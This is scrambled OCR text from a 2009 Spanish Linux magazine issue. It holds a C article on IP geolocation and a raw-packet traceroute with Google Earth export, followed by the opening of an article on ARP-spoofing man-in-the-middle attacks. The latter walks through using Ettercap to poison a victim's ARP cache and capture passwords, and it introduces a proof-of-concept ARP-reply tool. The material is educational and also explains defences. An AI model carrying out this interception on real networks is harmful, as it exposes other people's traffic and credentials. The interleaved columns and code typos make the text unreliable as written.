seguidamente imprimimos los resultados. ción de un Host, y después todo termina. Con si integramos el código de las dos funciones
Utilizar estas funciones en un programa es esto podría suponer que la utilización de la principales en un programa interactivo, enton-
algo trivial. Podría servirle algo como lo que matriz geohost[] es una pérdida de memoria ces el modo en que trabajamos se torna bastante
presenta el Listado 4. innecesaria. eficiente.
NOTA: Si le gustan las listas enlazadas
Listado 1. Creando una estructura global que contenga la información de un host y se le da bien la programación en lenguaje C,
le animo a probarlo. Puede ser un buen ejercicio
[-----] de aprendizaje. Se vuelve útil en el desarrollo
struct host { de grandes aplicaciones donde establecer lí-
char ip[16]; /* Dirección IP */ mites arbitrarios puede convertirse en nuestra
char country[25]; /* País */ perdición.
char city[50]; /* Ciudad */ Si necesita más ejemplos, el propio código
float lat; /* Latitud */ fuente de GeoIP se los ofrece en la carpeta
float lon; /* Longitud */ test/.
} geohost[256]; /* Matriz de Hosts */
int cnt_ghost = 0; /* Llevar la cuenta */ Traceroute
[-----] Se estará preguntando tal vez que es un progra-
ma traceroute. Pues el mismo nombre lo indica,
Listado 2. Abriendo nuestra base de datos su objetivo es trazar una ruta de los distintos
ordenadores por los que nuestra información
[-----] (paquetes de red) va atravesando antes de llegar
void load_geoip(void) { al destinatario final. Esto normalmente implica
/* ABRIMOS LA BASE DE DATOS */ a routers, pasarelas, firewalls, puntos de acceso
gi = GeoIP_open("/usr/local/share/GeoIP/GeoLiteCity.dat", y demás.
GEOIP_INDEX_CACHE); Su distribución Linux siempre contará con
if (gi == NULL) { una aplicación traceroute. En la imagen (Figu-
fprintf(stderr, "\nError: Don't open database\n"); ra 2) le mostramos los ordenadores por los que
exit(1); pasa su información antes de alcanzar la página
} web de LiNUX+.
} A continuación le muestro un programa
[-----] muy básico para trazar la ruta de un host. Re-
quisitos:

40 Linux+ 4/2009
hacking para linuxeros
Geolocalización IP

• LibPcap (versión 0.8),


Listado 3. Consiguiendo la información referente a una dirección IP
• LibNet (versión 1.1 o superior).
[-----]
void ip_location(char *host){
Compilar con:
int i, j;
$ gcc codigo.c
int find = 0;
-lpcap
GeoIPRecord *gir; /* Datos de una dirección IP */
-lnet
/* Si alcanzamos el límite de hosts, salimos */
-o broute
if (cnt_ghost == 256) {
printf("\nDemasiados hosts para localizar.\n");
return;
Uso está presentado en el Listado 5.
}
No tiene excesivo sentido explicar aquí có-
/* Si el HOST ya ha sido localizado,
mo funciona un programa de traceroute, pero
salimos */
daremos una pincelada ya que resulta realmente
for (i = 0; i < cnt_ghost; i++) {
sencillo.
if (strcmp(geohost[i].ip, host) == 0)
Si conocen el comando PING y su funcio-
return;
namiento, sabrán que su objetivo principal es
}
saber si un host en la red se encuentra activo.
/* Buscamos el HOST en la base de datos */
Esto se producirá cuando a una solicitud icmp
echo request (esto se establece en la cabecera
if ((gir = GeoIP_record_by_name(gi, host)) == NULL) {
return;
ICMP de un paquete de red), se produzca una
}
respuesta icmp echo reply (de ahí el efecto
cnt_ghost += 1; /* Hemos encontrado uno */
ping-pong).
/* Copiamos todos los datos en geohost[] */
Todos los paquetes TCP/IP que viajan
strncpy(geohost[cnt_ghost-1].ip, host, 15);
por la red, tienen en su cabecera IP un cam-
strncpy(geohost[cnt_ghost-1].country,
po especial conocido como TTL o tiempo de
gir->country_name, 24);
vida. Este valor suele ser constante en cada
if (gir->city)
sistema operativo. Por ejemplo en Windows
strncpy(geohost[cnt_ghost-1].city, gir->city, 49);
suele ser 128, mientras que en Linux es de
geohost[cnt_ghost-1].lat = gir->latitude;
64. Como anotación, fíjense que si hacen
geohost[cnt_ghost-1].lon = gir->longitude;
un ping desde su sistema operativo Linux a
/* Imprimimos la información */
una máquina con Windows, cada respuesta
printf("\nIP localizada: %s",
recibida por el programa mostrará el campo
geohost[cnt_ghost-1].ip);
TTL de cada una de ellas. Visualizar su va-
printf("\nPais: %s",
lor es una forma muy pobre (aunque rápida
geohost[cnt_ghost-1].country);
y eficaz en sistemas de usuarios no concien-
printf("\nCiudad: %s",
ciados por la seguridad), de identificar el
geohost[cnt_ghost-1].city);
Sistema Operativo que está corriendo en un
printf("\nLatitud: %f",
ordenador.
geohost[cnt_ghost-1].lat);
Un programa de traceroute se aprovecha
printf("\nLongitud: %f",
del protocolo ICMP, que se encarga de con-
geohost[cnt_ghost-1].lon);
trolar los errores en la red, para averiguar
}
qué hosts se encuentran entre su ordenador
[-----]
y el objetivo.
Como decía, el TTL sale de su ordenador
Listado 4. Consiguiendo la información referente a una dirección IP
con un valor constante, pero éste va decre-
mentándose cada vez que alcanza un ordena-
[-----] dor (vulgarmente a cada salto). Si en algún
int main(int argc, char *argv[]) { lugar del trayecto, antes de llegar a su desti-
if (argc < 2) { no, este TTL consiguiera llegar a 0, significa-
printf("\nUsage: ./iplocate x.x.x.x\n"); ría que el paquete ha caducado, y el ordena-
exit(1); dor o host que hizo este último decremento
} lo notificará al emisor original mediante un
load_geoip(); /* Abrimos la Base de Datos */ paquete ICMP especial (tipo ICMP_TIMX-
ip_location(argv[1]); /* Localizamos un Host */ CEED y código ICMP_TIMXCEED_IN-
return 0; /* Por algo devolvemos “int” */ TRANS), indicándole que el tiempo de
} vida ha excedido.
[-----] Pues resulta que alguien muy pero que muy
espabilado se dio cuenta de que, si mandaba un

www.lpmagazine.org 41
hacking para linuxeros
Geolocalización IP

Listado 5a. Trazando la ruta de un host

- $ ./broute x.x.x.x dev * Iniciamos la captura de paquetes


[-----] */
/* Declaraciones de cabeceras */ void *
#include <stdio.h> sniff_route(void *var) {
#include <string.h> int rc;
#include <pcap.h> char errbuf[PCAP_ERRBUF_SIZE];
#include <libnet.h> struct bpf_program filter_code;
/* Aceptar solo paquetes tipo = ICMP_TIMXCEED bpf_u_int32 netp, maskp;
y código = ICMP_TIMXCEED_INTRANS */ pcap_t* sniff_route;
#define FILTRO_ROUTE "icmp[0] = 0 or icmp[0] = 11" /* ABRIMOS LA INTERFAZ DE RED */
static u_int32_t src_ip; sniff_route = pcap_open_live(device,
static u_int32_t dst_ip; 256, 0, 1000, errbuf);
static u_int16_t id; if (sniff_route == NULL){
static int endsr = 0; fprintf(stderr,
static char *device; "Error en pcap_open_live(): %s\n", errbuf);
static libnet_t *lnet; exit(-1);
/* }
* Lee las respuestas a los paquetes enviados /* OBTENEMOS LOS DATOS DE LA INTERFAZ DE RED */
*/ if (pcap_lookupnet(device, &netp, &maskp,
static void errbuf) == -1){
read_response(u_char *useless, fprintf(stderr, "Error en pcap_lookupnet():
const struct pcap_pkthdr* pkthdr, %s\n", errbuf);
const u_char* pkt) { exit(-1);
struct libnet_ethernet_hdr *ethh; }
/* CABECERA ETHERNET */ /* ESTABLECEMOS EL FILTRO DE PAQUETES */
struct libnet_ipv4_hdr *iph; if (pcap_compile(sniff_route, &filter_code,
/* CABECERA IP */ FILTRO_ROUTE, 1, netp) == -1){
struct libnet_icmpv4_hdr *icmph; fprintf(stderr, "Error en pcap_compile():
/* CABECERA ICMP */ %s\n",
ethh = (struct libnet_ethernet_hdr *)pkt; pcap_geterr(sniff_route));
iph = (struct libnet_ipv4_hdr *) exit(-1);
(pkt + LIBNET_ETH_H); }
icmph = (struct libnet_icmpv4_hdr *) /* ACTIVAMOS EL FILTRO DE PAQUETES */
(pkt + LIBNET_ETH_H + LIBNET_IPV4_H); if (pcap_setfilter(sniff_route,
/* AQUI LA RESPUESTA DEL OBJETIVO FINAL */ &filter_code) == -1){
if (iph->ip_src.s_addr == dst_ip) { fprintf(stderr,
/* ip_location(libnet_addr2name4(iph-> "Error en pcap_setfilter(): %s\n",
ip_src.s_addr, 0)); */ pcap_geterr(sniff_route));
/* toGoogleEarth(); */ exit(-1);
printf("\nOBJETIVO ALCANZADO: %s\n", }
libnet_addr2name4(iph->ip_src.s_addr, 0)); /* INICIAMOS LA CAPTURA DE PAQUETES */
endsr = 1; rc = pcap_loop(sniff_route, -1,
pthread_exit(NULL); &read_response, NULL);
} }
/* AQUI LA RESPUESTA DE LOS HOSTS int main(int argc, char *argv[]) {
O ROUTERS INTERMEDIOS */ int c;
else if (icmph->icmp_type == ICMP_TIMXCEED && int ttl = 1;
icmph->icmp_code == u_int8_t *payload = NULL;
ICMP_TIMXCEED_INTRANS) { u_int32_t payload_s = 0;
/* ip_location(libnet_addr2name4(iph-> libnet_ptag_t icmp_pkt = 0;
ip_src.s_addr, 0)); */ libnet_ptag_t ip_pkt = 0;
printf("\nRespuesta desde: %s\n", pthread_t th_sniffroute;
libnet_addr2name4(iph->ip_src.s_addr, 0)); if (argc < 3){
} fprintf(stderr, "\nUsage:
} ./broute x.x.x.x dev\n");
/* exit(-1);

42 Linux+ 4/2009
hacking para linuxeros
Geolocalización IP

www.lpmagazine.org 43
hacking para linuxeros
Geolocalización IP

Listado 5b. Trazando la ruta de un host

} ICMP: %s\n",
device = argv[2]; /* La interfaz como libnet_geterror(lnet));
segundo parámetro */ }
lnet = libnet_init(LIBNET_RAW4, device, errbuf); /* Construimos la cabecera IP */
if (lnet == NULL) { ip_pkt = libnet_build_ipv4(LIBNET_IPV4_H +
fprintf(stderr, "libnet_init failed: LIBNET_ICMPV4_ECHO_H + payload_s, 0, id, 0,
%s\n", errbuf); ttl, /* Tiempo de Vida */
exit(-1); IPPROTO_ICMP, 0,
} src_ip, /* IP de origen */
/* Obtenemos nuestra dirección IP */ dst_ip, /* IP de destino */
src_ip = libnet_get_ipaddr4(lnet); NULL, 0, lnet, ip_pkt);
pthread_create(&th_sniffroute, NULL, if (ip_pkt == -1){
sniff_route, NULL); fprintf(stderr, "Error en Caberera IP:
/* Host objetivo como primer parámetro */ %s\n",
dst_ip = libnet_name2addr4(lnet, argv[1], libnet_geterror(lnet));
LIBNET_RESOLVE); exit(-1);
if (dst_ip == -1){ }
fprintf(stderr, "IP de Destino erronea.\n"); c = libnet_write(lnet); /* Enviamos
exit(-1); el paquete */
} usleep(1000); /* Pausa entre paquetes
sleep(1); /* Damos tiempo a que se inicie enviados */
el hijo correctamente */ ttl += 1; /* Incrementamos el Tiempo
while(endsr == 0){ /* El hilo hijo pondrá de Vida del paquete */
(endsr == 1) cuando termine */ }
/* Construimos la cabecera ICMP */ libnet_clear_packet(lnet); /* Limpiamos */
icmp_pkt = libnet_build_icmpv4_ pthread_cancel(th_sniffroute); /* Matamos
echo(ICMP_ECHO, 0, 0, id, 0, el hilo */
payload, /* NULL */ endsr = 0;
payload_s, /* 0 */ reurn 0; /* Salida exitosa*/
lnet, icmp_pkt); }
if (icmp_pkt == -1){ [-----]
fprintf(stderr, "Error en Cabecera

paquete especialmente creado con el TTL pues- decrementándose a medida que atraviesa la red. La primera de ellas, obviamente, es la función
to a 1, el primero de los hosts intermediarios Con esto también podría descubrir un Sistema que programamos al principio de este artículo,
que recibiera el paquete, decrementaría este Operativo, piense que no sería normal en este y que si agrega al programa de traceroute
contador y emitiría su correspondiente men- caso que el TTL hubiera bajado de 128 a 44, (uniendo las piezas) le dirá en qué lugar del
saje de error, pudiendo así el emisor obtener serían demasiados saltos. Es lógico pensar que mundo se encuentra cada uno de los ordenado-
la dirección IP de este punto intermedio. originalmente era 64. res por los que van pasando sus paquetes. Lo
Ocurre que si luego volvía a reenviar este Bien, si leyó atentamente la función cual es el objetivo de este artículo.
mismo paquete con un valor de TTL puesto read_response(), pudo observar un par La segunda función, en caso de descomen-
a 2, el error sería emitido por el segundo host de funciones que dejamos deliberadamente tarla, se ejecutará una vez el destinatario final
intermediario, puesto que es donde el tiempo comentadas: haya sido alcanzado. Su misión se explica en la
de vida expiraría. Siguiendo este proceso de siguiente sección.
incrementar el TTL y capturar los errores /* ip_location(libnet_
ICMP, el emisor solo tiene que comprobar addr2name4(iph-> Exportar a GoogleEarth
cuándo la respuesta proviene de la dirección ip_src.s_addr, 0)); */ La función toGoogleEarth() crea un archivo
IP objetivo. En este momento sabrá que ha /* toGoogleEarth(); */ en formato XML (con extensión .kml) cuyas
terminado de recorrer el trayecto y tendrá
todas las direcciones de los routers o hosts
intermediarios.
Puede observar que si hace un ping a
LiNUX+, recibirá respuestas con un TTL de
44 o algo así, esto es debido a que el paquete
recibido por usted también tiene que recorrer el
camino inverso.Si sale con un valor de 64 irá Figura 3. Efecto de exportación a GoogleEarth

44 Linux+ 4/2009
hacking para linuxeros
Geolocalización IP

Listado 6. Exportando a GoogleEarth


Sobre el autor
[-----] David Puente Castro, alias blackngel, es
void toGoogleEarth(int cnt_ghost) { un gran aficionado a la programación y la
int i = 0; seguridad informática. Original de Ourense
FILE *fge; y viviendo actualmente en la provincia de
fge = fopen("routeGE.kml", "w"); /* Abrimos el Salamanca, dedica la mayor parte de su
archivo para escritura */ tiempo libre a disfrutar de la experiencia
fprintf(fge, "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n"); Linux.
fprintf(fge, "<kml xmlns=\"http://earth.google.com/kml/2.0\">\n"); Asiduo escritor de artículos básicos
fprintf(fge, "<Folder>\n"); sobre temas de seguridad informática en
fprintf(fge, "<name>Hack The World</name>\n"); el E-Zine electrónico S.E.T. (Saqueado-
fprintf(fge, "<visibility>1</visibility>\n"); res Edición Técnica), actualmente man-
for(i = 0; i < cnt_ghost; i++){ tiene su segunda página oficial en: http://
fprintf(fge, "\n<Placemark>\n"); set.diazr.com/, cuyo objetivo es ser un
fprintf(fge, " <name>%s</name>\n", geohost[i].ip); gran repositorio de material sobre temas
fprintf(fge, " <description><![CDATA[ IP:%s ]]> de hacking.
</description>\n", Su primer encuentro con Linux data
geohost[i].ip); ya de hace unos 8 años y fue poco más
fprintf(fge, " <description></description>\n"); adelante que descubrió el fantástico
fprintf(fge, " <View>\n"); mundo de la programación y la subcul-
fprintf(fge, " <longitude>%f</longitude>\n", geohost[i].lon); tura hacker. Participa activamente en
fprintf(fge, " <latitude>%f</latitude>\n", geohost[i].lat); wargames como: yoire.com, warzone
fprintf(fge, " </View>\n"); (elhacker.net) y otros.
fprintf(fge, " <visibility>1</visibility>\n"); Puede encontrarlo online prácticamente
fprintf(fge, " <styleUrl> las 24 horas del día, en las siguientes direc-
root://styleMaps#default?iconId=0x307 ciones: blackngel1@gmail.com y black@
</styleUrl>\n"); set-ezine.org
/* ICONO PARA MARCAR LOS PUNTOS
fprintf(fge, Conclusiones
"<Style><icon>images/x.png</icon></Style>\n"); Si tiene un poco de habilidad y ha seguido
*/ hasta aquí todo lo descrito, entonces está en
fprintf(fge, " <Point><coordinates>%f,%f, el camino correcto. Ahora está preparado pa-
45</coordinates></Point>\n", ra unir las piezas del puzzle y disfrutar de la
geohost[i].lon,geohost[i].lat); satisfacción que produce hacer las cosas por
fprintf(fge, " </Placemark>\n"); uno mismo.
} Si no conoce LibNet, LibPcap o si la
fprintf(fge, "</Folder>\n"); programación de threads (hilos) todavía está
fprintf(fge, "</kml>"); fuera de su alcance, entonces no se preocu-
fclose(fge); pe. Puede centrarse únicamente en la sec-
printf("\nArchivo \"routeGE.kml\" correctamente creado\n"); cion que trataba exclusivamente sobre Ge-
} oIP y sacar el máximo partido de lo que allí
[-----] describimos.

marcas serán interpretadas directamente por el Esta función debe ser añadida nuevamente
programa GoogleEarth estableciendo puntos a al programa de traceroute. Una vez un host
En la red
lo largo del globo terraqueo, situando cada uno ha sido traceado, un archivo con nombre
de los hosts que haya ido localizando nuestra routeGE.kml será creado en el mismo di- • MaxMind:
implementación de GeoIP. rectorio donde ha compilado su aplicación. http://www.maxmind.com
Esta función debe conocer: Si ahora abre este archivo mediante Google • LibPcap:
Earth, podrá observar algo parecido a lo si- http://sourceforge.net/projects/
• Una estructura en la que se hayan ido guiente en la Figura 3. libpcap/
almacenando los hosts localizados me- Solo tiene que ir haciendo click en cada • LibNet:
diante GeoIP (de ahi que usaramos geo- una de las chinchetas o direcciones IP, y su http://libnet.sourceforge.net
host[]). globo terraqueo interactuará correctamente • GoogleEarth:
• Un contador con el total de las IP's encon- para llevarle hasta su correcta localiza- http://earth.google.es/
tradas (pasado como argumento). ción.

www.lpmagazine.org 45
hacking para linuxeros
Ataques Man In The Middle

Ataques Man
In The Middle:
Su información en manos enemigas
David Puente Castro

Su información viaja a diario de un ordenador a otro. Está ciertamente


acostumbrado a confiar en que llegará siempre a su destino. Pero... ¿se ha
preguntado alguna vez si alguno de estos ordenadores intermediarios puede
estar controlando todo su tráfico en busca de información sensible?

H
oy en dia lo más común es que todas las Más claramente. Si usted dispone de una red Wireless
linux@software.com.pl

empresas utilicen redes de area local para casera. El proceso normal de comunicación cuando soli-
compartir recursos. Además, el hardware que cita, por ejemplo, una página web desde su navegador, es
permite esta clase de conexión tiene un coste que esta petición es remitida a su punto de acceso (router/
muy bajo y su integración es verdaderamente rápida. gateway), que se encarga de realizar la petición efectiva
Por otro lado, las redes Wireless están creciendo como al servidor web en Internet, y el mismo router es el que
nunca hasta ahora había ocurrido. Y del mismo modo, no de- le devuelve la respuesta correspondiente. Podría verse de
jan de ser redes locales en las que, por norma general, existe este modo:
un router o pasarela que proporciona una salida común al
resto de ordenadores hacia Internet. • Petición: PC (Host) -> petición web
Usted debe considerar la siguiente idea: cabría la po- -> ROUTER O PASARELA -> petición web
sibilidad de que alguien pueda situarse entre su ordenador -> INTERNET.
de trabajo habitual y el router o gateway, con el objetivo de • Respuesta: INTERNET -> respuesta
capturar todo el tráfico que se encuentra transmitiendo en un -> ROUTER O PASARELA -> respuesta
instante dado. -> PC (Host).
Ya en un artículo anterior de LiNUX+, en concreto uno
sobre capturar conversaciones de Messenger, se dieron unas La posibilidad de colocar virtualmente un ordenador entre
pinceladas acerca de en qué consistía un ataque Man In The el PC (Host) y el Router o Pasarela, es real. Y en este docu-
Middle. Un ataque hombre en el medio, como bien se men- mento tenemos como meta presentar un ejemplo práctico de
cionó, es una situación que puede ser creada por un atacante y cómo llevar a cabo este ataque, para posteriormente echar un
que permite suplantar la identidad de un dispositivo receptor vistazo a las posibles defensas de que disponemos y cómo
con el fin de engañar a otro emisor. aplicarlas.

46 Linux+ 4/2009
hacking para linuxeros
Ataques Man In The Middle

Protocolo ARP En la gran red de redes, cuando un ordena-


OSI Model
Existen varias técnicas que permiten la dor intenta comunicarse con otro, necesita se-
Data Layer
redirección de tráfico o la suplantación de guir unas reglas básicas. Una de las normas
identidad, pero ARP Spoofing es una de las principales es que todos los paquetes que son Data Aplication
más sencillas y permite una explicación transmitidos pasen previamente por unas capas

Host Layers
ciertamente intuitiva. establecidas. Cada una de ellas tiene una Data Presentation

Primero debemos de conocer qué es en rea- misión, y todas son importantes para que el
Data Session
lidad ARP. ARP o Address Resolution Proto- paquete llegue correctamente a su destino:
col, como su propio nombre indica, es un Segments Transport
protocolo que se encarga de resolver direc- • Capa Física: Realmente hablamos de
ciones. Pero... ¿qué direcciones? esta capa como hardware. Es el medio Packets Network

Media Layers
Todo ordenador conectado a una red físico de comunicación entre dos orde-
consta de al menos dos direcciones, una nadores, ya sea cableado o no. Frames Data Link

bastante común para el usuario de a pie, • Capa de Enlace: En esta capa funcionan
Bits Physical
concida como dirección IP, compuesta de 4 los protocolos Ethernet, Frame Relay,
digitos enteros separados por puntos que van ARP, etc...
desde el 0 al 255. Esta dirección se puede • Capa de Red: Aquí nos encontramos con Figura 2. Modelo de capas conocido como OSI
cambiar ya sea de forma manual o automáti- el gran IP (Internet Protocol), establece
camente. de dónde proceden los paquetes y a quién • Capa de Presentación: Esta capa se encar-
Por el contrario, existe otra dirección se dirigen, amén de otros detalles sobre ga de los formatos y el manejo de la es-
que es inmutable. Cada tarjeta de red ether- su enrutamiento. tructura de los datos que viajan por la red.
net trae de fábrica una dirección compuesta • Capa de Transporte: Esta capa aporta el Controla si los datos estan comprimidos,
de 6 pares de digitos separados por dos control. TCP y UDP se encuentran aquí, cifrados, codificados, etc...
puntos, tal que su formato se ve como sigue: y mantienen el control de flujo de datos • Capa de Aplicación: Es la capa que inte-
aa:bb:cc:dd:ee:ff. Esta dirección se conoce verificando su integridad (con UDP no ractúa directamente con el usuario, o al
como MAC y es, supuestamente, única en es del todo cierto). menos con el sistema operativo. Proto-
todo el mundo para cada tarjeta de red. • Capa de Sesión: Establece conexiones colos como HTTP, SSH, FTP, y muchos
Las redes funcionan bajo un modelo de lógicas entre puntos de la red. Se encarga otros se encuentran en este lugar.
capas conocido como OSI. Modelo que pre- también de ciertos aspectos como la sin-
sentamos a continuación, en la Figura 2. cronización. Cada paquete que desea cruzar una red, sale
de un ordenador y atraviesa todas las capas
comenzando por la Capa de Aplicación, hasta
llegar a la Capa Física. Una vez el paquete
llega a su destinatario, este asciende nueva-
PCs
mente a través de las capas OSI, pero esta
vez en sentido contrario llegando definitiva-
mente a la aplicación o servicio del usuario
receptor.
TCP e IP, protocolos que más o menos
todos conocemos al menos de oídas, trabajan
en la cuarta (transporte) y tercera (red) capa
del modelo respectivamente. Lo importante
Impresoras
de red en este punto, es asimilar que todavía por
debajo de estos, en la capa de enlace, se en-
Switch/Hub cuentra el protocolo ARP.
Router ADSL
Estamos acostumbrados a pensar que
Punto de acceso nuestros ordenadores se comunican unos
inalámbrico con otros única y exclusivamente a través
de la dirección IP, y si bien esto es cierto,
en las redes locales existe otro modo de
operación que por norma general agiliza
los trámites.
Cuando un ordenador cliente realiza una
petición a Internet, esta debe ser enviada en
INTERNET
primera instancia al router (como ya vimos
hace un momento). En el nivel más bajo tanto
Portátiles
el cliente como el router se comunican a tra-
vés de la dirección MAC, pero... ¿comó sabe
Figura 1. Esquema del ataque Man In The Middle el cliente la dirección MAC del router?

www.lpmagazine.org 47
hacking para linuxeros
Ataques Man In The Middle

así tiempo y evitando congestión en la


red.

ARP spoofing
Este ataque, también conocido como ARP
Router ADSL Poisoning se basa en dos consignas:
IP: 10.0.0.1
MAC: [cc:cc:cc:cc:cc:cc]
• El protocolo ARP permite respuestas
a preguntas no realizadas.
modified ARP cache points • Estas respuestas actualizan las tablas
IP: 10.0.0.1 to Alice caché ARP de los miembros implicados.
MAC: [ee:ee:ee:ee:ee:ee] IP: 10.0.0.1
(Eve’s MAC) MAC: [aa:aa:aa:aa:aa:aa]
Imaginémonos la situación de la imagen pre-
modified ARP cache points
IP: 10.0.0.1 to sentada en la Figura 3. Tenemos:
MAC: [ee:ee:ee:ee:ee:ee]
(Eve’s MAC)
• Router -> IP: 10.0.0.1 – MAC: cc:cc:cc:
cc:cc:cc
Eve
IP: 10.0.0.1 • Alice -> IP: 10.0.0.10 – MAC: aa:aa:aa:aa:
MAC: [ee:ee:ee:ee:ee:ee] aa:aa
• Eve -> IP: 10.0.0.3 – MAC: ee:ee:ee:ee:
Figura 3. ARP Spoofing
ee:ee
Bien, ARP es un protocolo que soporta El truco está en que esta pregunta solo será res-
broadcasting. Esta es una característica que pondida por aquel miembro que posea esa IP, Cuando Alice desee comunicarse con otro
permite enviar un paquete a todos los or- y lo hará indicando su propia MAC. host en la red, o mismo una petición hacia
denadores de una red de forma simultánea. Internet, preguntará en algún momento cúal
Teniendo en cuenta que el cliente ya conoce ¿Por qué decías es la dirección MAC correspondiente a la IP
aquello de agilizar
la dirección IP del router (p.e.: 192.168.0.1), 10.0.0.1. El Router contestará con la suya
si desea averiguar su dirección MAC, debe los trámites? propia, cc:cc:cc:cc:cc:cc y Alice introducirá
realizar una Petición ARP a la dirección de Cada miembro de la red posee una tabla en su Caché ARP una entrada que relacione
broadcast, lo que produce un paquete que conocida por el nombre de Cache ARP. En mutuamente la dirección IP con la dirección
oirán todos los miembros de la red. esta tabla se van almacenando las respues- MAC. Durante un tiempo no tendrá que vol-
Una petición ARP lleva consigo un men- tas a preguntas como la que acabamos de ver a repetir la pregunta, pues le basta con
saje del estilo: realizar. De este modo, la próxima vez que consultar su tabla para saber a quién debe
el cliente quiera enviar algo al router, bus- enviar sus futuras peticiones.
• ¿Qué dirección MAC tiene el miembro de cará aquí su dirección MAC y no tendŕa Pero como hemos dicho hace un ins-
la red con la dirección IP 192.168.0.1? que volver a preguntar por ella, ahorrando tante, Alice puede aceptar respuestas a una
pregunta que no ha realizado y actualizar su
caché con los datos de esta respuesta. En la
jerga, a este tipo de paquetes se les llama
ARP no solicitados o ARP gratuitos.
Entonces, ¿qué ocurriría si Eve envía
una respuesta ARP a Alice haciéndose pasar
por el Router y diciéndole que la dirección
IP 10.0.0.1 corresponde a la MAC ee:ee:
ee:ee:ee:ee? Pues que a partir de ese mo-
mento Alice enviaría todas sus peticiones
a Eve pensando que en realidad se trata del
Router.
Si además, ahora hacemos lo mismo con
Router, haciéndole pensar que la dirección IP
de Alice se corresponde con la MAC de Eve,
habremos logrado situarnos exactamente en
un punto medio entre los dos miembros de la
comunicación. Nos habremos convertido en:
el hombre en el medio.

Ettercap, un ejemplo real


Este ataque es más que posible, es real.
Figura 4. Ettercap No podemos decir que sea nuevo, pero por

48 Linux+ 4/2009
hacking para linuxeros
Ataques Man In The Middle

Como se puede ver, una sola entrada


ARP que relaciona la dirección IP del Punto
de Acceso con su dirección MAC. Debemos
proceder ahora a suplantar esta entrada. En
Ettercap abrimos el menú Sniff y hacemos
click en la opción Unified Sniffing. Nos
pedirá que introduzcamos el nombre de la
interfaz de red, en nuestro caso utilizare-
mos ath0 (una tarjeta wireless con chipset
atheros).
Una vez aceptado, vemos que las opcio-
nes de menú han cambiado. Ahora debemos
averiguar qué ordenadores se encuentran en
la misma red. Para ello, en el menú Hosts se-
leccionamos la opción Scan for hosts. Pue-
de ver en la imagen el resultado de nuestro
escaneo.
Figura 5. Tabla caché ARP normal Tenemos:
desgracia resulta ser inherente al protocolo fuente del programa desde su página oficial
y erradicar tal comportamiento dista bastante en: http://ettercap.sourceforge.net • 192.168.0.1: Punto de Acceso,
del modo en que podemos reparar un simple El programa dispone de 3 modos: consola, • 192.168.0.192: Víctima (SO Windows).
bug de software. ncurses, e interfaz gráfica. Utilizaremos este
Ettercap es un programa que hace las útlimo por su comodidad. Puede iniciarlo de Si observa nuevamente el campo MAC Ad-
veces de sniffer (capturador de tráfico), otras este modo: dress, será consciente de que el host víctima
de reconocimiento de sistemas operativo, almacenaba la dirección correcta en su caché
y otras de plataforma para ataques Man In $ sudo ARP.
The Middle. Lo cierto es que de un tiempo a ettercap -G Lo que sigue es el ataque en sí. En pri-
esta parte, Ettercap incorpora tantos módu- mer lugar debemos seleccionar la entrada
los que es igual que llevar una navaja suiza Nuestra misión es colocarnos virtualmente en correspondiente a la víctima, hacer click en
en el bolsillo. el medio de un sistema Windows XP y el Punto el botón Add to Target 1, y realizar el mismo
Haremos uso de este programa para de Acceso que le proporciona acceso a Internet. paso con la entrada del Punto de Acceso, pero
realizar la prueba de ataque; pero antes de Claro está nosotros también debemos pertene- esta vez haciendo click en el botón Add to
nada debemos de activar una característica cer a esa misma red. Target 2.
muy importante en nuestro sistema de red, Una tabla caché ARP normal se ve como Seguidamente, en el menú Mitm, nos en-
conocida con el nombre de ip forwarding. en la Figura 5. contraremos con la opción ARP Poisoning...
Esta funcionalidad provoca que todos los
paquetes que pasen por nuestra máquina (la
del atacante), sean reenviados a su destino
original. El objetivo es no detener el flujo
de datos y hacer creer a la víctima que su
conexión es completamente normal. De otro
modo, los paquetes se detendrían al llegar
a nuestra máquina, y si bien podemos ver
las peticiones que realiza, éste nunca reci-
birá respuestas, y pronto percibirá que algo
raro está ocurriendo.
Como root debe escribir el siguiente
comando:

# echo 1 >
/proc/sys/net/
/ipv4/ip_forward

Puede obtener e instalar Ettercap, en De-


bian o derivados, directamente con el co-
mando apt-get o aptitude, dado que esta
aplicación se encuentra habitualmente entre
los repositorios por defecto. Para cualquier
otra plataforma puede descargar el código Figura 6. Resultado de nuestro escaneo

www.lpmagazine.org 49
hacking para linuxeros
Ataques Man In The Middle

Ésta es la nuestra, una vez dentro, marcaremos


el recuadro Sniff Remote Connections y acep-
taremos.
El ataque está configurado a la perfección.
Ya solo nos queda escoger la opción Start Sni-
ffing del menú Start.
En un ataque real, no podríamos ver lo
siguiente, pero como esto es un ensayo, po-
demos echar un vistazo a cómo ha quedado
modificada (hackeada), la tabla caché ARP
de la víctima.
Lo que acabamos de realizar es un ata-
que de una sola vía, esto quiere decir que
podemos capturar todo el tráfico que trans-
Figura 7. Sesión de Ettercap mita la víctima (192.168.0.192), pero no
lo que el Punto de Acceso responde. Para
lograr el doble enlace debe abrir una nueva
sesión de Ettercap y realizar exactamente
los mismos pasos que acabamos de describir
excepto que el Punto de Acceso correspon-
derá a Add to Target 1 y la víctima a Add to
Target 2.
En el menú View, encontrará 3 pestañas
muy importantes:

• Connections,
• Profiles,
• Statistics.

En ellas verá todos los movimientos que rea-


liza la víctima. En la siguiente imagen podrá
ver como es capturada una visita a la página
oficial de LiNUX+ (www.lpmagazine.org).
El marco inferior del programa Ettercap
también es muy significativo, en este lugar
podrán ir apareciendo distintas contraseñas
Figura 8. Visita a la página oficial de LiNUX+ relativas a conexiones realizadas a servicios
como: FTP, Telenet, Autenticaciones Web,
etc...

Prueba de concepto
En el mundo del hacking y la seguridad infor-
mática existe un punto de ética muy importante,
y es demostrar que nosotros mismos podemos
hacerlo. En otro caso solo cabríamos bajo el
concepto de Script Kiddie, o aquella persona
que se apropia del trabajo de los demás con el
único objetivo de lograr un beneficio o recono-
cimiento.
Lo que aquí pretendo, es demostrar que
pueden generarse respuestas ARP gratuitas
con muy pocas líneas de código (Listado 1).

¿Cómo funciona?
El programa precisa 6 opciones con sus corres-
pondientes argumentos:

• -i: Dirección IP de la víctima.


Figura 9. Contraseñas relativas a conexiones realizadas • -m: Dirección MAC de la víctima.

50 Linux+ 4/2009
hacking para linuxeros
Ataques Man In The Middle

Tabla 1. Herramienats del paquete dsniff • -r: IP del router o Punto de Acceso.
dsniff Captura las contraseñas que viajan por la red • -n: Número de respuestas ARP a ser en-
arpspoof Modifica la caché ARP de un host víctima viadas.
• -t: Segundos de espera entre envío res-
